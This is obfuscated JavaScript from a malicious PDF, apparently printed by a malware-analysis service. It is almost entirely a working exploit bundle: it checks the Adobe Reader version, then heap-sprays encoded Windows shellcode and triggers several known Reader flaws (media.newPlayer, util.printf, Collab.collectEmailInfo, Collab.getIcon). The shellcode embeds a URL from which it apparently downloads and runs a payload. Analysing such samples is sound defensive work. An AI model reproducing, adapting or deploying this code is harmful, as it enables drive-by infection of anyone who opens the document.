function i6m4u1y4(x1y6d5i2,n708n794t464){while(x1y6d5i2.length*2 < n708n794t464){x1y6d5i2+=x1y6d5i2;}x1y6d5i2=x1y6d5i2.substring(0,n708n794t464/2);return x1y6d5i2;}function breakfast(){var shellcode = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u2A2A%u4CD0%u4A9C%uD764%u1333%u89F8%u13A6%uF762%u4926%u0B97%u0171%u83DC%uB158%u2DD3%uEC57%u21E7%u1C2D%uACD6%u7E8A%uB64C%uD4D7%u834D%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u312F%u3732%u302E%u302E%u312E%u642F%u6E65%u6577%u2F72%u7366%u6C2F%u616F%u2E64%u6870%u0070");var block = unescape('%u0c0c%u0c0c');var GDagaCuyNfRSFzaSZLO = unescape('%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u514e%u4865%u4844%u724f%u4a6e%u6d43%u4b51%u4b79%u7156%u4d41%u5944%u596b%u7979%u625a%u626f%u7a6e%u634e%u4a4d%u6341%u6253%u4154%u5670%u5543%u4273%u4c51%u576d%u5772%u5670');while(block.length <= 32768) block+=block;block=block.substring(0,32768 - shellcode.length);memory=new Array();for(i=0;i<0x2000;i++){memory[i]= block + shellcode;}util.printd('rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC', new Date());util.printd('SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn', new Date());try{this.media.newPlayer(null);}catch(e){}util.printd(GDagaCuyNfRSFzaSZLO, new Date());}function luckout(){var t9x7a5r8=unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u2A2A%u4CD0%u4A9C%uD764%u1333%u89F8%u13A6%uF762%u4926%u0B97%u0171%u83DC%uB158%u2DD3%uEC57%u21E7%u1C2D%uACD6%u7E8A%uB64C%uD4D7%u834D%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u312F%u3732%u302E%u302E%u312E%u642F%u6E65%u6577%u2F72%u7366%u6C2F%u616F%u2E64%u6870%u0070");var a9f9b8=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var d490x902t320u513=a9f9b8+t9x7a5r8;var c6c4i8=unescape("%u0A0A%u0A0A");var l200x174v794y783=20;var x661o633u824=l200x174v794y783+d490x902t320u513.length;while(c6c4i8.length < x661o633u824){c6c4i8+=c6c4i8;}var m67f40z02o01=c6c4i8.substring(0,x661o633u824);var v938d372m955=c6c4i8.substring(0,c6c4i8.length-x661o633u824);while(v938d372m955.length+x661o633u824<0x40000){v938d372m955=v938d372m955+v938d372m955+m67f40z02o01;}var y39v62k20k01=new Array();for(var i=0;i<1400;i++){y39v62k20k01[i]=v938d372m955+d490x902t320u513;}var e940g082d897=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",e940g082d897);}function goofyperson(){var n56w56w20g57=unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01EF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%u97E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u811A%uE531%uBEC6%uDC51%u13FB%u89EC%u7BDF%u920F%u01CE%uCA0C%uDFFD%u4891%u2B7A%u839B%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u16B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE8C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u312F%u3732%u302E%u302E%u312E%u642F%u6E65%u6577%u2F72%u7366%u6C2F%u616F%u2E64%u6870%u0070");var y39v62k20k01=new Array();var z47s63u33=0x0c0c0c0c;var v147q606c780=0x400000;var b6b1k8o7=n56w56w20g57.length*2;var n708n794t464=v147q606c780-(b6b1k8o7+0x38);var x1y6d5i2=unescape("%u9090%u9090");x1y6d5i2=i6m4u1y4(x1y6d5i2,n708n794t464);var z322y501v804=(z47s63u33-0x400000)/v147q606c780;for(var j996t305n587y635=0;j996t305n587y635 < z322y501v804;j996t305n587y635++){y39v62k20k01[j996t305n587y635]=x1y6d5i2+n56w56w20g57;}var q20e69z40t40=unescape("%u0c0c%u0c0c");while(q20e69z40t40.length<44952){q20e69z40t40+=q20e69z40t40;}this.collabStore=Collab.collectEmailInfo({subj:"",msg:q20e69z40t40});}function mexicanbreakfast(){if(app.doc.Collab.getIcon){var t8p0d1=new Array();var g246e227e654p020=unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u2A2A%u4CD0%u4A9C%uD764%u1333%u89F8%u13A6%uF762%u4926%u0B97%u0171%u83DC%uB158%u2DD3%uEC57%u21E7%u1C2D%uACD6%u7E8A%uB64C%uD4D7%u834D%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u312F%u3732%u302E%u302E%u312E%u642F%u6E65%u6577%u2F72%u7366%u6C2F%u616F%u2E64%u6870%u0070");var g229h073b853a593=g246e227e654p020.length*2;var n708n794t464=0x400000-(g229h073b853a593+0x38);var x1y6d5i2=unescape("%u9090%u9090");x1y6d5i2=i6m4u1y4(x1y6d5i2,n708n794t464);var w9l8u8=(0x0c0c0c0c-0x400000)/0x400000;for(var l897c248h770g037=0;l897c248h770g037 < w9l8u8;l897c248h770g037++){t8p0d1[l897c248h770g037]=x1y6d5i2+g246e227e654p020;}var d580e703c705y972=unescape("%09");while(d580e703c705y972.length<0x4000){d580e703c705y972+=d580e703c705y972;}d580e703c705y972="N."+d580e703c705y972;app.doc.Collab.getIcon(d580e703c705y972);}}function PPPDDDFF(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){luckout();}if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){goofyperson();}if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){mexicanbreakfast();}breakfast();}PPPDDDFF();

Open this report in the interactive analyzer, or submit your own file for analysis.